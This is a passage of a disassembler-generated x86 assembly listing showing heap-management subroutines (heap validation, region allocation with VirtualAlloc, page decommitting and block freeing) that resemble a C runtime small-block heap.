		jmp	short loc_41E216
; ---------------------------------------------------------------------------


loc_41E207:				; CODE XREF: sub_41E0F0+140j
		mov	edx, [ebp+var_14C]
		add	edx, 1
		mov	[ebp+var_14C], edx


loc_41E216:				; CODE XREF: sub_41E0F0+115j
		cmp	[ebp+var_14C], 40h
		jge	short loc_41E232
		mov	eax, [ebp+var_14C]
		mov	[ebp+eax*4+var_118], 0
		jmp	short loc_41E207
; ---------------------------------------------------------------------------


loc_41E232:				; CODE XREF: sub_41E0F0+12Dj
		cmp	[ebp+var_4], 0
		jl	loc_41E66D
		push	8000h
		mov	ecx, [ebp+var_128]
		push	ecx
		call	dword_4E0440	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E25C
		mov	eax, 0FFFFFFFCh
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E25C:				; CODE XREF: sub_41E0F0+160j
		mov	edx, [ebp+var_128]
		mov	[ebp+var_8], edx
		mov	[ebp+var_140], 0
		jmp	short loc_41E280
; ---------------------------------------------------------------------------


loc_41E271:				; CODE XREF: sub_41E0F0+30Fj
		mov	eax, [ebp+var_140]
		add	eax, 1
		mov	[ebp+var_140], eax


loc_41E280:				; CODE XREF: sub_41E0F0+17Fj
		cmp	[ebp+var_140], 8
		jge	loc_41E404
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		mov	[ebp+var_130], ecx
		mov	edx, [ebp+var_130]
		add	edx, 0FF0h
		mov	[ebp+var_138], edx
		mov	eax, [ebp+var_130]
		cmp	dword ptr [eax-4], 0FFFFFFFFh
		jnz	short loc_41E2C2
		mov	ecx, [ebp+var_138]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41E2CC


loc_41E2C2:				; CODE XREF: sub_41E0F0+1C5j
		mov	eax, 0FFFFFFFBh
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E2CC:				; CODE XREF: sub_41E0F0+1D0j
					; sub_41E0F0+2E6j
		mov	edx, [ebp+var_130]
		mov	eax, [edx]
		mov	[ebp+var_148], eax
		mov	ecx, [ebp+var_148]
		mov	[ebp+var_154], ecx
		mov	edx, [ebp+var_154]
		and	edx, 1
		test	edx, edx
		jz	short loc_41E329
		mov	eax, [ebp+var_148]
		sub	eax, 1
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 400h
		jle	short loc_41E318
		mov	eax, 0FFFFFFFAh
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E318:				; CODE XREF: sub_41E0F0+21Cj
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	short loc_41E36B
; ---------------------------------------------------------------------------


loc_41E329:				; CODE XREF: sub_41E0F0+201j
		mov	edx, [ebp+var_148]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_41E34E
		mov	[ebp+var_14C], 3Fh


loc_41E34E:				; CODE XREF: sub_41E0F0+252j
		mov	eax, [ebp+var_14C]
		mov	ecx, [ebp+eax*4+var_118]
		add	ecx, 1
		mov	edx, [ebp+var_14C]
		mov	[ebp+edx*4+var_118], ecx


loc_41E36B:				; CODE XREF: sub_41E0F0+237j
		cmp	[ebp+var_148], 10h
		jl	short loc_41E38D
		mov	eax, [ebp+var_148]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_41E38D
		cmp	[ebp+var_148], 0FF0h
		jle	short loc_41E397


loc_41E38D:				; CODE XREF: sub_41E0F0+282j
					; sub_41E0F0+28Fj
		mov	eax, 0FFFFFFF9h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E397:				; CODE XREF: sub_41E0F0+29Bj
		mov	ecx, [ebp+var_130]
		add	ecx, [ebp+var_148]
		mov	edx, [ecx-4]
		cmp	edx, [ebp+var_154]
		jz	short loc_41E3B8
		mov	eax, 0FFFFFFF8h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E3B8:				; CODE XREF: sub_41E0F0+2BCj
		mov	eax, [ebp+var_130]
		add	eax, [ebp+var_148]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_130]
		cmp	ecx, [ebp+var_138]
		jb	loc_41E2CC
		mov	edx, [ebp+var_130]
		cmp	edx, [ebp+var_138]
		jz	short loc_41E3F4
		mov	eax, 0FFFFFFF8h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E3F4:				; CODE XREF: sub_41E0F0+2F8j
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_8], eax
		jmp	loc_41E271
; ---------------------------------------------------------------------------


loc_41E404:				; CODE XREF: sub_41E0F0+197j
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_12C]
		jz	short loc_41E41B
		mov	eax, 0FFFFFFF7h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: sub_41E0F0+31Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_134], eax
		mov	[ebp+var_14], 0
		jmp	short loc_41E436
; ---------------------------------------------------------------------------


loc_41E42D:				; CODE XREF: sub_41E0F0+578j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_41E436:				; CODE XREF: sub_41E0F0+33Bj
		cmp	[ebp+var_14], 40h
		jge	loc_41E66D
		mov	[ebp+var_168], 0
		mov	edx, [ebp+var_134]
		mov	[ebp+var_130], edx


loc_41E456:				; CODE XREF: sub_41E0F0+4A5j
		mov	eax, [ebp+var_130]
		mov	ecx, [eax+4]
		mov	[ebp+var_15C], ecx
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_134]
		jz	loc_41E59A
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	loc_41E59A
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_128]
		jb	short loc_41E4AE
		mov	eax, [ebp+var_128]
		add	eax, 8000h
		cmp	[ebp+var_15C], eax
		jb	short loc_41E4B8


loc_41E4AE:				; CODE XREF: sub_41E0F0+3A9j
		mov	eax, 0FFFFFFF6h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E4B8:				; CODE XREF: sub_41E0F0+3BCj
		mov	ecx, [ebp+var_15C]
		and	ecx, 0FFFFF000h
		mov	[ebp+var_164], ecx
		mov	edx, [ebp+var_164]
		add	edx, 0Ch
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 0FF0h
		mov	[ebp+var_124], eax


loc_41E4E4:				; CODE XREF: sub_41E0F0+41Cj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_124]
		jz	short loc_41E50E
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_15C]
		jnz	short loc_41E4FC
		jmp	short loc_41E50E
; ---------------------------------------------------------------------------


loc_41E4FC:				; CODE XREF: sub_41E0F0+408j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_10], edx
		jmp	short loc_41E4E4
; ---------------------------------------------------------------------------


loc_41E50E:				; CODE XREF: sub_41E0F0+3FDj
					; sub_41E0F0+40Aj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_124]
		jnz	short loc_41E523
		mov	eax, 0FFFFFFF5h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E523:				; CODE XREF: sub_41E0F0+427j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_41E54A
		mov	[ebp+var_14C], 3Fh


loc_41E54A:				; CODE XREF: sub_41E0F0+44Ej
		mov	eax, [ebp+var_14C]
		cmp	eax, [ebp+var_14]
		jz	short loc_41E55F
		mov	eax, 0FFFFFFF4h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E55F:				; CODE XREF: sub_41E0F0+463j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+var_130]
		jz	short loc_41E57A
		mov	eax, 0FFFFFFF3h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E57A:				; CODE XREF: sub_41E0F0+47Ej
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_168]
		add	ecx, 1
		mov	[ebp+var_168], ecx
		jmp	loc_41E456
; ---------------------------------------------------------------------------


loc_41E59A:				; CODE XREF: sub_41E0F0+381j
					; sub_41E0F0+397j
		cmp	[ebp+var_168], 0
		jz	short loc_41E611
		cmp	[ebp+var_14], 20h
		jge	short loc_41E5DB
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_11C]
		or	eax, edx
		mov	[ebp+var_11C], eax
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_144]
		or	eax, edx
		mov	[ebp+var_144], eax
		jmp	short loc_41E611
; ---------------------------------------------------------------------------


loc_41E5DB:				; CODE XREF: sub_41E0F0+4B7j
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_150]
		or	eax, edx
		mov	[ebp+var_150], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_158]
		or	eax, edx
		mov	[ebp+var_158], eax


loc_41E611:				; CODE XREF: sub_41E0F0+4B1j
					; sub_41E0F0+4E9j
		mov	ecx, [ebp+var_130]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+var_134]
		jnz	short loc_41E634
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	short loc_41E63E


loc_41E634:				; CODE XREF: sub_41E0F0+530j
		mov	eax, 0FFFFFFF2h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E63E:				; CODE XREF: sub_41E0F0+542j
		mov	edx, [ebp+var_134]
		mov	eax, [edx+8]
		cmp	eax, [ebp+var_130]
		jz	short loc_41E659
		mov	eax, 0FFFFFFF1h
		jmp	loc_41E709
; ---------------------------------------------------------------------------


loc_41E659:				; CODE XREF: sub_41E0F0+55Dj
		mov	ecx, [ebp+var_134]
		add	ecx, 8
		mov	[ebp+var_134], ecx
		jmp	loc_41E42D
; ---------------------------------------------------------------------------


loc_41E66D:				; CODE XREF: sub_41E0F0+146j
					; sub_41E0F0+34Aj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_11C]
		cmp	ecx, [eax+edx*4+44h]
		jnz	short loc_41E69A
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_150]
		cmp	ecx, [eax+edx*4+0C4h]
		jz	short loc_41E6A1


loc_41E69A:				; CODE XREF: sub_41E0F0+590j
		mov	eax, 0FFFFFFF0h
		jmp	short loc_41E709
; ---------------------------------------------------------------------------


loc_41E6A1:				; CODE XREF: sub_41E0F0+5A8j
		mov	edx, [ebp+var_128]
		add	edx, 8000h
		mov	[ebp+var_128], edx
		mov	eax, [ebp+var_18]
		add	eax, 204h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_41E1CA
; ---------------------------------------------------------------------------


loc_41E6CB:				; CODE XREF: sub_41E0F0+E7j
		mov	edx, [ebp+var_13C]
		mov	eax, [ebp+var_144]
		cmp	eax, [edx]
		jnz	short loc_41E6EC
		mov	ecx, [ebp+var_13C]
		mov	edx, [ebp+var_158]
		cmp	edx, [ecx+4]
		jz	short loc_41E6F3


loc_41E6EC:				; CODE XREF: sub_41E0F0+5E9j
		mov	eax, 0FFFFFFEFh
		jmp	short loc_41E709
; ---------------------------------------------------------------------------


loc_41E6F3:				; CODE XREF: sub_41E0F0+5FAj
		mov	eax, [ebp+var_13C]
		add	eax, 14h
		mov	[ebp+var_13C], eax
		jmp	loc_41E133
; ---------------------------------------------------------------------------


loc_41E707:				; CODE XREF: sub_41E0F0+5Ej
		xor	eax, eax


loc_41E709:				; CODE XREF: sub_41E0F0+26j
					; sub_41E0F0+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41E0F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44726C
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+8], eax
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_41E747
		mov	ecx, [ebp+8]
		mov	dword_44726C, ecx
		mov	eax, 1
		jmp	short loc_41E749
; ---------------------------------------------------------------------------


loc_41E747:				; CODE XREF: .data:0041E735j
		xor	eax, eax


loc_41E749:				; CODE XREF: .data:0041E745j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E750	proc near		; CODE XREF: .data:0041CA51p
					; sub_41EC10+34Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_445258, 0FFFFFFFFh
		jnz	short loc_41E768
		mov	[ebp+var_C], offset off_445248
		jmp	short loc_41E78B
; ---------------------------------------------------------------------------


loc_41E768:				; CODE XREF: sub_41E750+Dj
		push	2020h
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0478	; RtlAllocateHeap
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41E78B
		xor	eax, eax
		jmp	loc_41E92A
; ---------------------------------------------------------------------------


loc_41E78B:				; CODE XREF: sub_41E750+16j
					; sub_41E750+32j
		push	4
		push	2000h
		push	400000h
		push	0
		call	dword_4E0488	; VirtualAlloc
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_41E90C
		push	4
		push	1000h
		push	10000h
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4E0488	; VirtualAlloc
		test	eax, eax
		jz	loc_41E8FB
		cmp	[ebp+var_C], offset off_445248
		jnz	short loc_41E7FB
		cmp	off_445248, 0
		jnz	short loc_41E7E6
		mov	off_445248, offset off_445248


loc_41E7E6:				; CODE XREF: sub_41E750+8Aj
		cmp	off_44524C, 0
		jnz	short loc_41E7F9
		mov	off_44524C, offset off_445248


loc_41E7F9:				; CODE XREF: sub_41E750+9Dj
		jmp	short loc_41E824
; ---------------------------------------------------------------------------


loc_41E7FB:				; CODE XREF: sub_41E750+81j
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx], offset	off_445248
		mov	eax, [ebp+var_C]
		mov	ecx, off_44524C
		mov	[eax+4], ecx
		mov	edx, [ebp+var_C]
		mov	off_44524C, edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_41E824:				; CODE XREF: sub_41E750:loc_41E7F9j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10h], ecx
		mov	edx, [ebp+var_4]
		add	edx, 400000h
		mov	eax, [ebp+var_C]
		mov	[eax+14h], edx
		mov	ecx, [ebp+var_C]
		add	ecx, 18h
		mov	edx, [ebp+var_C]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_C]
		add	eax, 98h
		mov	ecx, [ebp+var_C]
		mov	[ecx+0Ch], eax
		mov	[ebp+var_8], 0
		jmp	short loc_41E868
; ---------------------------------------------------------------------------


loc_41E85F:				; CODE XREF: sub_41E750+153j
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_41E868:				; CODE XREF: sub_41E750+10Dj
		cmp	[ebp+var_8], 400h
		jge	short loc_41E8A5
		cmp	[ebp+var_8], 10h
		jge	short loc_41E887
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+eax*8+18h], 0F0h
		jmp	short loc_41E895
; ---------------------------------------------------------------------------


loc_41E887:				; CODE XREF: sub_41E750+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+edx*8+18h], 0FFFFFFFFh


loc_41E895:				; CODE XREF: sub_41E750+135j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*8+1Ch], 0F1h
		jmp	short loc_41E85F
; ---------------------------------------------------------------------------


loc_41E8A5:				; CODE XREF: sub_41E750+11Fj
		push	10000h
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_417700
		add	esp, 0Ch


loc_41E8B8:				; CODE XREF: sub_41E750+1A4j
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+10h]
		add	edx, 10000h
		cmp	[ebp+var_4], edx
		jnb	short loc_41E8F6
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0F0h
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+0F8h], 0FFh
		mov	ecx, [ebp+var_4]
		add	ecx, 1000h
		mov	[ebp+var_4], ecx
		jmp	short loc_41E8B8
; ---------------------------------------------------------------------------


loc_41E8F6:				; CODE XREF: sub_41E750+177j
		mov	eax, [ebp+var_C]
		jmp	short loc_41E92A
; ---------------------------------------------------------------------------


loc_41E8FB:				; CODE XREF: sub_41E750+74j
		push	8000h
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4E0484	; VirtualFree


loc_41E90C:				; CODE XREF: sub_41E750+56j
		cmp	[ebp+var_C], offset off_445248
		jz	short loc_41E928
		mov	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E0480	; RtlFreeHeap


loc_41E928:				; CODE XREF: sub_41E750+1C3j
		xor	eax, eax


loc_41E92A:				; CODE XREF: sub_41E750+36j
					; sub_41E750+1A9j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E930	proc near		; CODE XREF: sub_41E9B0+136p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	dword_4E0484	; VirtualFree
		mov	edx, off_447268
		cmp	edx, [ebp+arg_0]
		jnz	short loc_41E95E
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	off_447268, ecx


loc_41E95E:				; CODE XREF: sub_41E930+20j
		cmp	[ebp+arg_0], offset off_445248
		jz	short loc_41E997
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0480	; RtlFreeHeap
		jmp	short loc_41E9A1
; ---------------------------------------------------------------------------


loc_41E997:				; CODE XREF: sub_41E930+35j
		mov	dword_445258, 0FFFFFFFFh


loc_41E9A1:				; CODE XREF: sub_41E930+65j
		pop	ebp
		retn
sub_41E930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E9B0	proc near		; CODE XREF: sub_41EBA0+60p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, off_44524C
		mov	[ebp+var_14], eax


loc_41E9BE:				; CODE XREF: sub_41E9B0+14Dj
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_41EAEE
		mov	[ebp+var_C], 3FFh
		mov	[ebp+var_10], 0
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_14]
		lea	ecx, [eax+edx*8+18h]
		mov	[ebp+var_4], ecx
		jmp	short loc_41E9FA
; ---------------------------------------------------------------------------


loc_41E9E8:				; CODE XREF: sub_41E9B0:loc_41EA7Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_4]
		sub	eax, 8
		mov	[ebp+var_4], eax


loc_41E9FA:				; CODE XREF: sub_41E9B0+36j
		cmp	[ebp+var_C], 0
		jl	loc_41EA84
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0F0h
		jnz	short loc_41EA7F
		push	4000h
		push	1000h
		mov	edx, [ebp+var_C]
		shl	edx, 0Ch
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+10h]
		add	ecx, edx
		push	ecx
		call	dword_4E0484	; VirtualFree
		test	eax, eax
		jz	short loc_41EA7F
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, dword_4DE050
		sub	eax, 1
		mov	dword_4DE050, eax
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_41EA5C
		mov	edx, [ebp+var_14]
		mov	eax, [edx+0Ch]
		cmp	eax, [ebp+var_4]
		jbe	short loc_41EA65


loc_41EA5C:				; CODE XREF: sub_41E9B0+9Fj
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_4]
		mov	[ecx+0Ch], edx


loc_41EA65:				; CODE XREF: sub_41E9B0+AAj
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_0]
		sub	ecx, 1
		mov	[ebp+arg_0], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EA7F
		jmp	short loc_41EA84
; ---------------------------------------------------------------------------


loc_41EA7F:				; CODE XREF: sub_41E9B0+5Dj
					; sub_41E9B0+80j ...
		jmp	loc_41E9E8
; ---------------------------------------------------------------------------


loc_41EA84:				; CODE XREF: sub_41E9B0+4Ej
					; sub_41E9B0+CDj
		mov	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_10], 0
		jz	short loc_41EAEE
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+18h], 0FFFFFFFFh
		jnz	short loc_41EAEE
		mov	[ebp+var_C], 1
		mov	eax, [ebp+var_8]
		add	eax, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_41EAC6
; ---------------------------------------------------------------------------


loc_41EAB4:				; CODE XREF: sub_41E9B0+127j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 8
		mov	[ebp+var_4], edx


loc_41EAC6:				; CODE XREF: sub_41E9B0+102j
		cmp	[ebp+var_C], 400h
		jge	short loc_41EAD9
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EAD9
		jmp	short loc_41EAB4
; ---------------------------------------------------------------------------


loc_41EAD9:				; CODE XREF: sub_41E9B0+11Dj
					; sub_41E9B0+125j
		cmp	[ebp+var_C], 400h
		jnz	short loc_41EAEE
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41E930
		add	esp, 4


loc_41EAEE:				; CODE XREF: sub_41E9B0+15j
					; sub_41E9B0+E7j ...
		mov	edx, [ebp+var_14]
		cmp	edx, off_44524C
		jz	short loc_41EB03
		cmp	[ebp+arg_0], 0
		jg	loc_41E9BE


loc_41EB03:				; CODE XREF: sub_41E9B0+147j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E9B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_416900+B6p
					; sub_41C020+12Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], offset off_445248


loc_41EB1D:				; CODE XREF: sub_41EB10+88j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+10h]
		jbe	short loc_41EB89
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+14h]
		jnb	short loc_41EB89
		mov	ecx, [ebp+arg_0]
		and	ecx, 0Fh
		test	ecx, ecx
		jnz	short loc_41EB85
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFh
		xor	eax, eax
		add	eax, 100h
		cmp	edx, eax
		jb	short loc_41EB85
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFF000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_4]
		add	eax, 100h
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax
		sar	ecx, 4
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+8]
		jmp	short loc_41EB9C
; ---------------------------------------------------------------------------


loc_41EB85:				; CODE XREF: sub_41EB10+2Bj
					; sub_41EB10+3Fj
		xor	eax, eax
		jmp	short loc_41EB9C
; ---------------------------------------------------------------------------


loc_41EB89:				; CODE XREF: sub_41EB10+16j
					; sub_41EB10+21j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], offset off_445248
		jnz	short loc_41EB1D
		xor	eax, eax


loc_41EB9C:				; CODE XREF: sub_41EB10+73j
					; sub_41EB10+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EBA0	proc near		; CODE XREF: sub_41C230+340p
					; sub_41C230+3ADp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx*8+18h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0F1h
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0F0h
		jnz	short loc_41EC08
		mov	eax, dword_4DE050
		add	eax, 1
		mov	dword_4DE050, eax
		cmp	dword_4DE050, 20h
		jnz	short loc_41EC08
		push	10h
		call	sub_41E9B0
		add	esp, 4


loc_41EC08:				; CODE XREF: sub_41EBA0+46j
					; sub_41EBA0+5Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_41EBA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC10	proc near		; CODE XREF: sub_41BEC0+CEp
					; sub_41C230+2ECp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, off_447268
		mov	[ebp+var_20], eax


loc_41EC1E:				; CODE XREF: sub_41EC10+188j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_41ED87
		mov	edx, [ebp+var_20]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 2018h
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_20]
		add	edx, 18h
		mov	eax, [ebp+var_4]
		sub	eax, edx
		sar	eax, 3
		shl	eax, 0Ch
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		add	edx, eax
		mov	[ebp+var_8], edx
		jmp	short loc_41EC73
; ---------------------------------------------------------------------------


loc_41EC5E:				; CODE XREF: sub_41EC10:loc_41ECDFj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1000h
		mov	[ebp+var_8], ecx


loc_41EC73:				; CODE XREF: sub_41EC10+4Cj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jnb	short loc_41ECE4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jl	short loc_41ECDF
